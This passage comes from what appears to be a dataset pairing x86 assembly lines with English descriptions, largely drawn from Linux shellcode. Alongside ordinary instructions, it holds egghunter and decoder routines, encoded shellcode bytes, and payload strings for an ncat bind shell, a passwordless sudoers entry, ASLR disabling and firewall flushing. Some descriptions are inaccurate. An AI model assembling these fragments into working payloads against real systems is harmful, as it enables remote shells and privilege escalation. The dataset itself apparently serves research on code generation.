jl short loc_402B1D jump to the memory location loc_402B1D if the contents of the bl register is less than the value 78h cmp bl, 78h \n jl short loc_402B1D if the contents of the bl register is less than the value 78h then jump to the memory location loc_402B1D cmp bl, 78h \n jle short loc_402B1D jump to the memory location loc_402B1D if the contents of the bl register is less than or equal to the value 78h cmp bl, 78h \n jle short loc_402B1D if the contents of the bl register is less than or equal to the value 78h then jump to the memory location loc_402B1D cmp bl, al \n je loop_2 jump to the loop_2 label if the contents of the bl register is equal to the contents of the al register cmp bl, al \n je loop_2 if the contents of the bl register is equal to the contents of the al register then jump to the loop_2 label cmp bl, al \n je loop_2 \n jmp short not_found jump to the loop_2 label if the contents of the bl register is equal to the contents of the al register else jump short to the not_found label cmp bl, al \n je loop_2 \n jmp short not_found if the contents of the bl register is equal to the contents of the al register then jump to the loop_2 label else jump short to the not_found label cmp byte [buff], 61h compare the byte at the memory location buff with 61h cmp byte [buff], 7ah compare the byte at the memory location buff with 7ah cmp byte [eax], 0 compare the byte pointed to by eax at this address against zero cmp byte [ebp+ecx], 61h compare the byte at the memory location ebp+ecx with 61h cmp byte [ebp+ecx], 7ah compare the byte at the memory location ebp+ecx with 7ah cmp BYTE [edx], 0x2e \n jne l2 jump to the l2 label if the byte starting at the address contained in the edx register is not equal to the byte value 0x2e cmp BYTE [edx], 0x2e \n jne l2 if the byte starting at the address contained in the edx register is not equal to the byte value 0x2e then jump to the l2 label cmp BYTE [edx], 0x2e \n jne l2 \n jmp while jump to the l2 label if the byte starting at the address contained in the edx register is not equal to the byte value 0x2e else jump to the while label cmp BYTE [edx], 0x2e \n jne l2 \n jmp while if the byte starting at the address contained in the edx register is not equal to the byte value 0x2e then jump to the l2 label else jump to the while label cmp byte [esi], 0x7 compare the byte in esi with 0x7 cmp BYTE [esi], 0x7 \n jl lowbound jump to the lowbound label if the byte starting at the address contained in the esi register is lower than the byte value 0x7 cmp BYTE [esi], 0x7 \n jl lowbound if the byte starting at the address contained in the esi register is lower than the byte value 0x7 then jump to the lowbound label cmp BYTE [esi], 0x7 \n jl lowbound \n sub BYTE [esi], 0x7 if the byte starting at the address contained in the esi register is lower than the byte value 0x7 then jump to the lowbound label else subtract the byte value 0x7 from byte starting at the address contained in the esi register cmp BYTE [esi], 0x7 \n jl lowbound \n sub BYTE [esi], 0x7 jump to the lowbound label if the byte starting at the address contained in the esi register is lower than the byte value 0x7 else subtract the byte value 0x7 from byte starting at the address contained in the esi register cmp BYTE [esi], 0x7 \n jle lowbound if the byte starting at the address contained in the esi register is lower than or equal to the byte value 0x7 then jump to the lowbound label cmp BYTE [esi], 0x7 \n jle lowbound jump to the lowbound label if the byte starting at the address contained in the esi register is lower than or equal to the byte value 0x7 cmp byte [esi], 0x88 \n jz shellcode jump to shellcode label if the byte in esi is equal to 0x88 cmp byte [esi], 0xd compare the byte at the address esi and 0xd cmp byte [esi], 0xd \n jl wrap_around if esi content is less then 13 go to wrap_aroud cmp byte [esi], 0xD \n jl wrap_around jump to the wrap_around label if the byte starting at the address contained in the esi register is lower than the byte value 0xD cmp byte [esi], 0xD \n jl wrap_around if the byte starting at the address contained in the esi register is lower than the byte value 0xD then jump to the wrap_around label cmp byte [esi], 0xD \n jl wrap_around \n sub byte [esi], 0xD jump to the wrap_around label if the byte starting at the address contained in the esi register is lower than the byte value 0xD else subtract the byte value 0xD from byte starting at the address contained in the esi register cmp byte [esi], 0xD \n jl wrap_around \n sub byte [esi], 0xD if the byte starting at the address contained in the esi register is lower than the byte value 0xD then jump to the wrap_around label else subtract the byte value 0xD from byte starting at the address contained in the esi register cmp byte [esi], 0xD \n jle wrap_around if the byte starting at the address contained in the esi register is lower than or equal to the byte value 0xD then jump to the wrap_around label cmp byte [esi], 0xD \n jle wrap_around jump to the wrap_around label if the byte starting at the address contained in the esi register is lower than or equal to the byte value 0xD cmp byte [esi], bl \n jne not_equal jump to not_equal if the current byte of the shellcode is not equal to bl cmp BYTE al, 2 \n je do_inject jump to the label do_inject if the byte representation of 2 is equal to the contents of the al register cmp BYTE al, 2 \n je do_inject if the byte representation of 2 is equal to the contents of the al register then jump to the label do_inject cmp BYTE al, 2 \n je do_inject \n jmp while jump to the label do_inject if the byte representation of 2 is equal to the contents of the al register else jump to the while label cmp BYTE al, 2 \n je do_inject \n jmp while if the byte representation of 2 is equal to the contents of the al register else jump to the while label then jump to the label do_inject cmp BYTE bl, [esi] \n jne loop_1 jump to the label loop_1 if the first byte of the esi register is not equal to the contents of the bl register cmp BYTE bl, [esi] \n jne loop_1 if the first byte of the esi register is not equal to the contents of the bl register then jump to the label loop_1 cmp cl, 0x11 \n jb 0xff \n add dl, 0x5 jump to the memory address 0xff if the unsigned contents of the cl register is lower than the unsigned value 0x11 else add the 0x5 value to the dl register cmp cl, 0x11 \n jb 0xff \n add dl, 0x5 if the unsigned contents of the cl register is lower than the unsigned value 0x11 then jump to the memory address 0xff else add the 0x5 value to the dl register cmp cl, 0x3 \n jne loop jump to the loop label if the contents of the cl register is not equal to the value 0x3 cmp cl, 0x3 \n jne loop if the contents of the cl register is not equal to the value 0x3 then jump to the loop label cmp cl, 0x3 \n jne loop2 jump to the loop2 label if the contents of the cl register is not equal to the value 0x3 cmp cl, 0x3 \n jne loop2 if the contents of the cl register is not equal to the value 0x3 then jump to the loop2 label cmp cl, 0xff \n jne dup2 if the contents of cl are not equal to the hexadecimal value oxff, jump to the _dup2 label cmp cl, 12 \n jg l2 jump to the label l2 if the contents of the cl register is greater than the decimal value 12 cmp cl, 12 \n jg l2 if the contents of the cl register is greater than the decimal value 12 then jump to the label l2 cmp cl, 12 \n jge l2 jump to the label l2 if the contents of the cl register is greater than or equal to the decimal value 12 cmp cl, 12 \n jge l2 if the contents of the cl register is greater than or equal to the decimal value 12 then jump to the label l2 cmp cl, dl \n jb l3 jump to the label l3 if the unsigned contents of the cl register is lower than the unsigned contents of the dl register cmp cl, dl \n jb l3 if the unsigned contents of the cl register is lower than the unsigned contents of the dl register then jump to the label l3 cmp cl, dl \n je encodedshellcode if cl contents is equal to dl contents jump to _encodedshellcode label cmp cl, dl \n je EncodedShellcode jump to the EncodedShellcode label if the contents of the cl register is equal to the contents of the dl register cmp cl, dl \n je EncodedShellcode if the contents of the cl register is equal to the contents of the dl register then jump to the EncodedShellcode label cmp cl, dl \n je init if cl contents is equal to dl contents jump to _init label cmp cl, dl \n je init \n inc cl jump to the init label if the contents of the cl register is equal to the contents of the dl register else increment the contents of the cl register cmp cl, dl \n je init \n inc cl if the contents of the cl register is equal to the contents of the dl register then jump to the init label else increment the contents of the cl register cmp cx, 2 \n jle dupcount jump to dupcount if cx is less than or equal to 2 with sign cmp dl, 1 \n je exit \n jmp reading jump to the exit label if the contents of the dl register is equal to the vale 1 else jump to the reading label cmp dl, 1 \n je exit \n jmp reading if the contents of the dl register is equal to the vale 1 then jump to the exit label else jump to the reading label cmp dl, 1h compare the contents of the dl register and 1h cmp dl, 1h \n jz exit compare 1h and dl content and go to _exit if flag zero is set cmp dl, 27 \n jg l3 if the contents of the dl register is greater than the decimal value 27 then jump to the label l3 cmp dl, 27 \n jg l3 jump to the label l3 if the contents of the dl register is greater than the decimal value 27 cmp dl, 27 \n jge l3 jump to the label l3 if the contents of the dl register is greater than or equal to the decimal value 27 cmp dl, 27 \n jge l3 if the contents of the dl register is greater than or equal to the decimal value 27 then jump to the label l3 cmp dl, cl \n jb l1 \n mov al, 0x39 jump to the label l1 if the unsigned contents of the dl register is lower than the unsigned contents of the cl register else move the value 0x39 to the al register cmp dl, cl \n jb l1 \n mov al, 0x39 if the unsigned contents of the dl register is lower than the unsigned contents of the cl register then jump to the label l1 else move the value 0x39 to the al register cmp dword [eax-4], egg1 compare the dword at the address [eax-4] and egg1 cmp dword [eax-4], egg1 \n jne _next \n jmp eax jump to the _next label if the doubleword starting at the address [eax-4] is not equal to the contents stored at the egg1 address else jump to the eax register cmp dword [eax-4], egg1 \n jne _next \n jmp eax if the doubleword starting at the address [eax-4] is not equal to the contents stored at the egg1 address then jump to the _next label else jump to the eax register cmp dword [eax-4], egg2 \n je _next \n jmp eax jump to the _next label if the doubleword starting at the address [eax-4] is equal to the contents stored at the egg2 address else jump to the eax register cmp dword [eax-4], egg2 \n je _next \n jmp eax if the doubleword starting at the address [eax-4] is equal to the contents stored at the egg2 address then jump to the _next label else jump to the eax register cmp dword [eax-4],egg1 compare the dword at the memory location [eax-4] with the value of egg1 cmp dword [eax-8], egg compare the dword at the address [eax-8] and egg cmp dword [eax-8], egg \n jne _next jump to the _next label if the doubleword starting at the address [eax-8] is not equal to the contents stored at the egg address cmp dword [eax-8], egg \n jne _next if the doubleword starting at the address [eax-8] is not equal to the contents stored at the egg address then jump to the _next label cmp dword [eax-8],egg compare the dword at the memory location [eax-8] with the value of egg cmp DWORD [eax], 0x4f904790 \n jne _start \n jmp eax jump to the jne _start label if the doubleword starting at the address contained in the eax register is not equal to the doubleword value 0x4f904790 else jump to the eax register cmp DWORD [eax], 0x4f904790 \n jne _start \n jmp eax if the doubleword starting at the address contained in the eax register is not equal to the doubleword value 0x4f904790 then jump to the jne _start label else jump to the eax register cmp dword [eax], ebx compare the dword at the address [eax] and the contents of the ebx register cmp dword [eax], ebx \n jne next_addr \n jmp eax if ebx content is not equal to the double word contained into eax register go to next_adrr label else go to eax address cmp dword [eax], ebx \n jne next_addr \n jmp eax jump to the next_address label if the doubleword starting at the address contained in the eax register is not equal to the contents of the ebx regoster else jump to the eax register cmp dword [eax], ebx \n jne next_addr \n jmp eax if the doubleword starting at the address contained in the eax register is not equal to the contents of the ebx regoster then jump to the next_address label else jump to the eax register cmp DWORD [eax], edx \n jne loop \n jmp eax jump to the loop label if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register else jump to the eax register cmp DWORD [eax], edx \n jne loop \n jmp eax if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register then jump to the loop label else jump to the eax register cmp dword [eax], edx \n jne search_the_egg compare eax with the egg_sig, if not compare jump to search_the_egg cmp DWORD [eax], edx \n jne search_the_egg \n jmp eax jump to the while label if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register else jump to the eax register cmp DWORD [eax], edx \n jne search_the_egg \n jmp eax jump to the search_the_egg label if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register else jump to the eax register cmp DWORD [eax], edx \n jne search_the_egg \n jmp eax if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register then jump to the while label else jump to the eax register cmp DWORD [eax], edx \n jne search_the_egg \n jmp eax if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register then jump to the search_the_egg label else jump to the eax register cmp DWORD [edx], 0x636f7270 \n je while if the doubleword starting at the address contained in the edx register is equal to the doubleword value 0x636f7270 then jump to the while label cmp DWORD [edx], 0x636f7270 \n je while jump to the while label if the doubleword starting at the address contained in the edx register is equal to the doubleword value 0x636f7270 cmp dword [esi + edx + 5], edi \n jz execute_shellcode jump to execute_shellcode if the doubleword in esi+edx+5 is equal to edi cmp dword [var], 10 compare the doubleword stored at memory location var to the integer value 10 cmp dword ptr [eax],edx \n jne loop id edx content and dword pointed by eax are different go to loop label cmp dx, 00 compare the dx value with zero cmp dx, 0x03e8 \n je L1 jump to the L1 label if the contents of the dx register is equal to the value 0x03e8 cmp dx, 0x03e8 \n je L1 if the contents of the dx register is equal to the value 0x03e8 then jump to the L1 label cmp eax, 0 compare eax to zero cmp eax, 0 compare if eax is equal to 0 cmp eax, 0 compare if eax is zero cmp eax, eax compare the contents of eax and the contents of eax cmp eax, eax \n jne 0x8 jump to the memory address 0x8 if the contents of the eax register is not equal to the contents of the eax register cmp eax, eax \n jne 0x8 if the contents of the eax register is not equal to the contents of the eax register then jump to the memory address 0x8 cmp eax, eax \n jne 0x8 \n xor eax, eax jump to the memory address 0x8 if the contents of the eax register is not equal to the contents of the eax register else zero out the eax register cmp eax, eax \n jne 0x8 \n xor eax, eax if the contents of the eax register is not equal to the contents of the eax register then jump to the memory address 0x8 else zero out the eax register cmp eax, ebp \n jnz short loc_40102B jump short to the memory location loc_40102B if the contents of the eax register is not equal to the contents of the ebp register cmp eax, ebp \n jnz short loc_40102B if the contents of the eax register is not equal to the contents of the ebp register then jump short to the memory location loc_40102B cmp eax, ebx compare eax with ebx cmp eax, ebx compare the contents of eax and the contents of ebx cmp eax, ebx compare the contents of the eax register and the contents of the ebx register cmp eax, ebx \n je 0x47 jump to the memory address 0x47 if the contents of the eax register is equal to the contents of the edi register cmp eax, ebx \n je 0x47 if the contents of the eax register is equal to the contents of the edi register then jump to the memory address 0x47 cmp eax, ebx \n je 0x47 \n xor ecx, ecx if the contents of the eax register is equal to the contents of the edi register then jump to the memory address 0x47 else zero out the ecx register cmp eax, ebx \n je 0x47 \n xor ecx, ecx jump to the memory address 0x47 if the contents of the eax register is equal to the contents of the edi register else zero out the ecx register cmp eax, ebx \n je all if eax and ebx content are equal go to _all label cmp eax, ebx \n je all jump to the all label if the contents of the eax register is equal to the contents of the ebx register cmp eax, ebx \n je all if the contents of the eax register is equal to the contents of the ebx register then jump to the all label cmp eax, ebx \n je all \n xor eax, eax jump to the all label if the contents of the eax register is equal to the contents of the ebx register else zero out the eax register cmp eax, ebx \n je all \n xor eax, eax if the contents of the eax register is equal to the contents of the ebx register then jump to the all label else zero out the eax register cmp eax, ebx \n je child jump to the child label if the contents of the eax register is equal to the contents of the ebx register cmp eax, ebx \n je child if the contents of the eax register is equal to the contents of the ebx register then jump to the child label cmp eax, ebx \n je connect \n ja exit compare ebx and eax content. if they are equal go to _connect label, else go to _exit label cmp eax, ebx \n je connect \n ja exit jump to the connect label if the contents of the eax register is equal to the contents of the ebx register else jump to the exit label if the unsigned contents of the eax register is greater than the unsigned contents of the ebx register cmp eax, ebx \n je connect \n ja exit if the contents of the eax register is equal to the contents of the ebx register then jump to the connect label else jump to the exit label if the unsigned contents of the eax register is greater than the unsigned contents of the ebx register cmp eax, ebx \n je download if the contents of the eax register is equal to the contents of the ebx register then jump to the download label cmp eax, ebx \n je download jump to the download label if the contents of the eax register is equal to the contents of the ebx register cmp eax, ebx \n je exit if the contents of the eax register is equal to the contents of the ebx register then jump to the exit label cmp eax, ebx \n je exit jump to the exit label if the contents of the eax register is equal to the contents of the ebx register cmp eax, ebx \n je exit \n add al, 0x3 jump to the exit label if the contents of the eax register is equal to the contents of the ebx register else move the value 0x3 into the al register cmp eax, ebx \n je exit \n add al, 0x3 if the contents of the eax register is equal to the contents of the ebx register then jump to the exit label else move the value 0x3 into the al register cmp eax, ebx \n je exit \n mov al, 0x4 jump to the exit label if the contents of the eax register is equal to the contents of the ebx register else move the value 0x4 into the al register cmp eax, ebx \n je exit \n mov al, 0x4 if the contents of the eax register is equal to the contents of the ebx register then jump to the exit label else move the value 0x4 into the al register cmp eax, ebx \n je L1 jump to the L1 label if the contents of the eax register is equal to the contents of the ebx register cmp eax, ebx \n je L1 if the contents of the eax register is equal to the contents of the ebx register then jump to the L1 label cmp eax, ebx \n jne retry jump to the retry label if the contents of the eax register is not equal to the contents of the ebx register cmp eax, ebx \n jne retry if the contents of the eax register is not equal to the contents of the ebx register then jump to the retry label cmp eax, ebx \n jz 0x47 compare eax with ebx content, if the xero flag is set go to the address 0x47 cmp eax, edi \n jne infinite if edi content is not equal to eax content go to _infinite label cmp eax, edi \n jne infinite jump to the infinite label if the contents of the eax register is not equal to the contents of the edi register cmp eax, edi \n jne infinite if the contents of the eax register is not equal to the contents of the edi register then jump to the infinite label cmp eax, edi \n jne infinite \n xor eax, eax jump to the infinite label if the contents of the eax register is not equal to the contents of the edi register else zero out the eax register cmp eax, edi \n jne infinite \n xor eax, eax if the contents of the eax register is not equal to the contents of the edi register then jump to the infinite label else zero out the eax register cmp eax,0xf3ab0aba compare hexadecimal value 0xf3ab0aba with eax cmp eax,ebx compare the contents of eax with ebx cmp eax,ebx \n je exit if eax content is equal to ebx content jump to _exit label cmp eax,ebx \n jne retry compare ebx with eax content. if they are not equal go to _retry label cmp eax,ebx \n jz download compare ebx and eax content then jump to download_label if the result of the comparison is 0 cmp ebp, 0 compare the contents of the ebp register with the value 0 cmp ebx, 0 compare if ebx is zero cmp ebx, 9 \n ja exit \n jmp loop jump to the exit label if the unsigned contents of the ebx register is greater than the unsigned value 10 else jump to the loop label cmp ebx, 9 \n ja exit \n jmp loop if the unsigned contents of the ebx register is greater than the unsigned value 10 then jump to the exit label else jump to the loop label cmp ecx, 0 compare ecx to 0 cmp ecx, 0 compare if ecx is zero cmp ecx, 0h compare ecx with 0h cmp ecx, 10 compare if ecx is equal to 10 cmp ecx, 100 compare if ecx is equal to 100 cmp ecx, 100 compare if our counter is equal to 100 cmp ecx, 5 compare ecx with 5 cmp ecx, ebp compare ecx and ebp cmp ecx, ebp compare the contents of the ecx register with the contents of the ebp register cmp ecx, edx \n ja l1 jump to the l1 label if the unsigned contents of the ecx register is greater than the unsigned contents of the edx register cmp ecx, edx \n ja l1 if the unsigned contents of the ecx register is greater than the unsigned contents of the edx register then jump to the l1 label else cmp edi, 0 compare if edi is equal to 0 cmp edx, 0 compare if edx is zero cmp edx, 0x43 \n ja loop \n push edx jump to the loop label if the unsigned contents of the edx register is greater than the unsigned value 0x43 else push the contents of the edx register onto the stack cmp edx, 0x43 \n ja loop \n push edx if the unsigned contents of the edx register is greater than the unsigned value 0x43 then jump to the loop label else push the contents of the edx register onto the stack cmp edx, 10 compare whether the edx register has reached 10 cmp edx, 42 compare the contents of edx to 42 cmp edx, 42 \n je short loc_402B13 jump to loc_402B13 if the contents of the edx register is equal to 42 cmp edx, 42 \n je short loc_402B13 if the contents of the edx register is equal to 42 then jump to loc_402B13 cmp edx, ebx compare the contents of edx and the contents of ebx cmp edx, ebx \n je 0x8 \n jump to the memory address 0x8 if the contents of the edx register is equal to the contents of the ebx register cmp edx, ebx \n je 0x8 \n if the contents of the edx register is equal to the contents of the ebx register then jump to the memory address 0x8 cmp edx, ebx \n je 0x8 \n mov ebx, edx jump to the memory address 0x8 if the contents of the edx register is equal to the contents of the ebx register else move the contents of the edx register into the ebx register cmp edx, ebx \n je 0x8 \n mov ebx, edx if the contents of the edx register is equal to the contents of the ebx register then jump to the memory address 0x8 else move the contents of the edx register into the ebx register cmp esi, 10 compare if esi is equal to 10 cmp esi, edx \n je find_egg jump to the find_egg label if the contents of the esi register is equal to the contents of the edx register cmp word [ecx], 0x5951 compare the word at the address ecx and 0x5951 cmp word [ecx], 0x5951 \n loopnz next \n jmp ecx compare ecx content with the marker, then decrement ecx by 1 and if cx != 0 and the zero flag is clear go to _next else go to ecx address cmp[esi], edx \n jz find_egg \n call esi check if we have found the egg. in case of negative response go to find_egg label else call esi cmps byte ptr ds:[esi],byte ptr es:[edi] subtract the value at location esi from the value a location edi without saving results. update flags based on the subtraction and the index registers esi and edi. code: declare code_label code: define the code label common_commands: \n inc esi in common_commands point to the next byte in esi connect: define _connect label connect: define connect function cont: define _cont label cont: define the cont label contents db 'hello world!', 0h define a string db and initialize to 'hello world!' createfile: define _createfile label createfile: declare the createfile label createfile: define createfile function cycle: define cycle label cycle: define cycle cycle: declare the cycle label D1: \n mov bl, byte [esi] in D1 move the current byte of the shellcode in the bl register D1: \n mov cl, byte [esi] declare D1 and move the current byte of the shellcode in the cl register D1: \n mov dl, byte [esi] declare D1 and move the current byte of the shellcode in the dl register D1: \n pop esi \n mov edi, esi in D1 save the shellcode in esi and move it to edi D2: \n not byte [esi] declare the function D2 and negate the byte in esi D2: \n not byte [esi] define the function D2 and negate the byte in esi D2: \n not byte [esi] declare the function D2 and negate the current byte of the shellcode D2: \n pop esi \n mov edi, esi define D2 save the in esi the pointer to the shellcode and move esi into edi D3: \n add byte [esi], 5 declare the ruotine D3 and add the value 5 to the current byte of the shellcode D3: \n add byte [esi], 8 declare the ruotine D3 and add the value 8 to the current byte of the shellcode D3: \n pop esi \n mov edi, esi declare the function D3, store the shellcode in edi and move the pointer into esi D3: \n sub byte [esi], 7 define function D3 and subtract 7 from the current byte of the shellcode D4: \n pop esi \n mov edi, esi in D4 store the shellcode in edi and move the pointer into esi D4: \n xor byte [esi], 0x1 define the function D4 and perform the xor operation between the byte in esi and the 0x1 value D4: \n xor byte [esi], 0x12 define the function D4 and perform the xor operation between the byte of the shellcode and the 0x12 value D4: \n xor byte [esi], 0x5 define the function D4 and perform the xor operation between the byte in esi and the 0x5 value das decimal adjust al register after subtraction. das correct the result in al register of the previous bcd subtraction operation. data: declare the data label db ',ajm,pk#########' define the byte string ',ajm,pk#########' db '/bin/sh' define a byte string and initialize it to '/bin/sh' db '/bin/sh' define the byte string '/bin/sh' db '/bin/sh#sh#' define the byte string '/bin/sh#sh#' db '/etc/passwd#' define the byte string '/etc/passwd#' db '/proc/sys/kernel/randomize_va_spacex' define the byte string '/proc/sys/kernel/randomize_va_spacex' db '/sbin/insmod#/tmp/o.o' define the byte string '/sbin/insmod#/tmp/o.o' db '/sbin/ipchains#-f#' define the byte string '/sbin/ipchains#-f#' db '/sbin/iptables#-f#' define the byte string '/sbin/iptables#-f#' db '/usr/bin/ncat#-lvp1337#-e/bin/bash#aaaabbbbccccdddd' define the byte string '/usr/bin/ncat#-lvp1337#-e/bin/bash#aaaabbbbccccdddd' db '0',10 define the byte string '0',10 db 'all all=(all) nopasswd: all', 0xa define the byte string 'all all=(all) nopasswd: all' db 'cp /bin/sh /tmp/sh' define the byte string 'cp /bin/sh /tmp/sh' db 'egg mark' initialize a string to 'egg mark' db 'egg mark' define the byte string 'egg mark' db 'my.txtx' define the byte string 'my.txtx' db 'rm -f /tmp/f' define the byte string 'rm -f /tmp/f' db 0ah define the byte string Ô0ahÕ db 0b1h define the byte string Ô0b1hÕ db 0b8h define the byte string Ô0b8hÕ db 0c6h define the byte string Ô0c6hÕ db 0d8h define the byte string Ô0d8hÕ db 0e2h define the byte string Ô0e2hÕ db 0x3e,0xcd,0x5d,0x75,0x3c,0x3c,0x80,0x75,0x75,0x3c,0x6f,0x76,0x7b define an array of bytes and initialize it to 0x3e,0xcd,0x5d,0x75,0x3c,0x3c,0x80,0x75,0x75,0x3c,0x6f,0x76,0x7b db 0x68 declare a byte contining 0x68 db 0x68 declare a byte with no label containing the value 0x68 db 0x80 declare a byte and initialize it to 0x80 db 0x80 declare an unlabeled byte initialized to 0x80 db 0x96,0xf0,0x5d,0x96,0xef,0x60,0x96,0xee,0xbd,0x18,0xda,0x8d define an array of bytes and initialize it to 0x96,0xf0,0x5d,0x96,0xef,0x60,0x96,0xee,0xbd,0x18,0xda,0x8d db 0xcd define a byte and initialize it to 0xcd db 0xcd define the byte 0xcd db 10 declare a byte with no label containing the value 10 db 10 declare an unlabeled byte initialized to 10 db 20h define the byte string Ô20hÕ db 24h define the byte string Ô24hÕ db 60h define the byte string Ô60hÕ db 69h define the byte string Ô69hÕ db 70h define the byte string Ô70hÕ db 80h define the byte string Ô80hÕ db 81h define the byte string Ô81hÕ db 83h define the byte string Ô83hÕ db 87h define the byte string Ô87hÕ db 8bh define the byte string Ô8bhÕ db 9ah define the byte string Ô9ahÕ dd 0xdeadbeef define a byte and initialize it to 0xdeadbeef dd 0xdeadbeef \n dd 0xdeadbeef define double word 0xdeadbeef two times dec al \n jz shellcode decrement the al register and jump to shellcode if the result is zero dec bl \n jnz L1 decrement the bl register and jump to L1 if the result is not zero dec bl \n jz L1 decrement the bl register and jump to L1 if the result is zero dec byte dl decrement the byte at the address dl by one dec byte dl decrement the byte in dl dec cl decrement cl by1 dec cl decrement cl register by 1 dec cl decrement cl register dec cl drement cl content by 1 dec cl decrement counter dec cl decrement the counter dec cl decrement the cl register by one dec cl decrement the contents of cl dec cl decrement the contents of the cl register dec cl \n jns dup2 decrement the contents of the cl register and jump to the dup2 label if the result is not negative dec cl \n jns loop_dup decrement the contents of the cl register and jump to the loop_dup label if the result is not negative dec cl \n jns loopinghere decrement the contents of the cl register and jump to the loopinghere label if the result is not negative dec cl \n jnz L2 decrement cl and jump to L2 if the result is not equal to zero dec cl \n jz L2 decrement cl and jump to L2 if the result is zero dec dl decrement dl dec dl decrement the dl register by one dec dl \n jnz L3 decrement dl and jump to L3 if the result is not zero dec dl \n jz L3 decrement dl and jump to L3 if the result is zero dec eax decrements eax by 1 dec eax decrement eax content dec eax decrement eax content by 1 dec eax decrement the contents of the eax register dec eax subtract one from the contents of eax dec eax decrement the eax register by one dec eax decrement eax dec ebp decrease ebp dec ebx decrement ebx by 1 dec ebx decrement ebx dec ebx decrease ebx by 1 dec ebx subtract one from the contents of ebx dec ebx decrement the ebx register by one dec ecx decrements ecx by 1 dec ecx decrement ecx by 1 dec ecx decrement ecx dec ecx decrement ecx register dec ecx decrement loop counter dec ecx decrement the counter ecx dec ecx decrement ecx alias loop counter dec ecx decrement loop-counter dec ecx decrement ecx content dec ecx decrement ecx content by 1 dec ecx count down to zero dec ecx decrement counter dec ecx decrease ecx by 1 dec ecx decrement the contents of the ecx register dec ecx decrement the ecx register by one dec ecx \n jns _dup2_loop decrement the contents of the ecx register and jump to the _dup2_loop label if the result is not negative dec ecx \n jns 2f_loop decrement the contents of the ecx register and jump to the 2f_loop label if the result is not negative dec ecx \n jns dup2 decrement the contents of the ecx register and jump to the dup2 label if the result is not negative dec ecx \n jns dup2loop decrement the contents of the ecx register and jump to the dup2loop label if the result is not negative dec ecx \n jns dup2loop decrement ecx by 1 and jump to the dup2loop procedure until ecx equals 0 dec ecx \n jns duploop decrement the contents of the ecx register and jump to the duploop label if the result is not negative dec ecx \n jns loop decrement ecx by 1 and as long as sf is not set, jump to _loop label dec ecx \n jns loop decrement the contents of the ecx register and jump to the loop label if the result is not negative dec ecx \n jns loop2 decrement the contents of the ecx register and jump to the loop2 label if the result is not negative dec ecx \n jz counter_is_now_zero decrement the contents of the ecx register and jump to the counter_is_now_zero label if the result is zero dec edi decrement edi register dec edi decrement edi content dec edx decrement edx content by 1 dec edx decrement the edx register by one dec edx decrement edx dec esp decrement esp dec esp decrement the esp register by one decode_insertion: define decode_insertion label decode_loop: decode_loop decode_pr: define decode_pr label decode_pr: decode_pr function decode_xor: define decode_xor label decode: define _decode label decode: declare _decode label decode: define decode label decode: define _ decode label decode: define decode function decode: declare the decode label decode: define the decode label decode: function decode decode: decode function decode: decode routine decode: decode label decode: \n cmp byte [esi], 0x7 \n jl lowbound \n sub byte [esi], 0x7 \n jmp common_commands in the decode function jump to lowbound label if the current byte of the shellcode is lower than 0x7 else subtract 0x7 from the byte of the shellcode and jump to common_commands decode: \n mov bl, byte [esi] in decode move the current byte of the shellcode in the bl register decode: \n not byte [esi] define the decode function and negate the byte in esi decode: \n sub byte [esi], 13 define decode function and subtract 13 from the current byte of the shellcode decode: \n xor byte [esi], 0xaa define the decode function and perform the xor operation between the byte in esi and the 0xaa value decoded_shellcode: define _decoded_shellcode label decoded_shellcode: define decoded_shellcode function decoded_shellcode: \n call [esp] declare the decoded_shellcode label and call the stack decoder_setup: decoder_setup label decoder_value: db 0x7d, 0x7d, 0x7d, 0x7d, 0x7d, 0x7d, 0x7d, 0x7d define decoder_value as an array of the following bytes: 0x7d, 0x7d, 0x7d, 0x7d, 0x7d, 0x7d, 0x7d, 0x7d decoder: declare decoder label decoder: declare _decoder label decoder: declare _decoderf label decoder: define decoder label decoder: define decoder_label decoder: define _decoder label decoder: define _ decoder label decoder: define the decoder function decoder: decoder function decoder: decoder routine decoder: declare the label decoder decoder: define decoder decoder: decoder's main decoder: decoder label decoder: declare the decoder function decoder: define decoder function decoder: declare the decoder label decoder: \n pop esi define the decoder function and store the encoded shellcode pointer in the esi register decoder: \n pop esi in the decoder routine save the shellcode in esi decoder: \n pop esi \n mov edi, esi in decoder save the shellcode in esi and move it to edi decoder1: define decoder1_label decoder2: declare decoder2_label decrypt: define _decrypt label decrypt: declare the decrypt label dim: equ 25 declare a constant size and set equal to 25 dim: equ 512 define dim to be 512 bytes large div dword [value] divide the contents of eax by the word value stored at memory location value div dword [var] divide the contents of in eax by by the word value stored at memory location var div dword ptr [eax] divide dx:ax by the double word in eax storing in ax the quotient and in dx the reminder div ebx divide eax by ebx div ebx divide the contents of eax by the contents of ebx div ecx divide eax by ecx div ecx divide eax by ecx the result of the division is stored in eax and the remainder in edx div edx divide eax by value in edx div esi divide eax by esi do_dup: declare the do_dup label do_dup: define do_dup label doit: declare the doit label done: define _done label done: declare the done label download: delcare download_label download: declare the download label download: define download function dup2: declare _dup label dup2: declare _dup2 label dup2: define dup2 label dup2: define _dup2 label dup2: declare the dup2 label dup2: define dup2 function dup2loop: declare _dup2loop label dup2loop: delcare the dup2loop label dupcount: declare _dopcount label dupcpunt: declare _dupcount label duploop: define duploop_label duploop: declare the duploop label duploop: define duploop function egg equ 'egg ' define egg equal to 'egg ' egg1 equ 'mark' define egg1 equal to 'mark' egghunter: define _egghunter label egghunter: declare the egghunter label enc: define enc_label enc: declare the enc label enc: \n call decoder define enc function and call decoder encoded_shellcode: db 0xc0, 0x31, 0x68, 0x50, 0x2f, 0x2f, 0x68, 0x73, 0x2f, 0x68, 0x69, 0x62, 0x87, 0x6e, 0xb0, 0xe3, 0xcd, 0x0b, 0x90, 0x80 encoded_shellcode is an array of bytes 0xc0, 0x31, 0x68, 0x50, 0x2f, 0x2f, 0x68, 0x73, 0x2f, 0x68, 0x69, 0x62, 0x87, 0x6e, 0xb0, 0xe3, 0xcd, 0x0b, 0x90, 0x80 encoded_shellcode: dw 0x545, 0x4a3, 0x583, 0x5d3, 0x541, 0x541, 0x439, 0x5d3, 0x5d3, 0x541, 0x5e7, 0x5d5, 0x5cf, 0x411, 0x4eb, 0x443, 0x509, 0x48d, 0x423, 0x539 define encoded_shellcode as array of words 0x545, 0x4a3, 0x583, 0x5d3, 0x541, 0x541, 0x439, 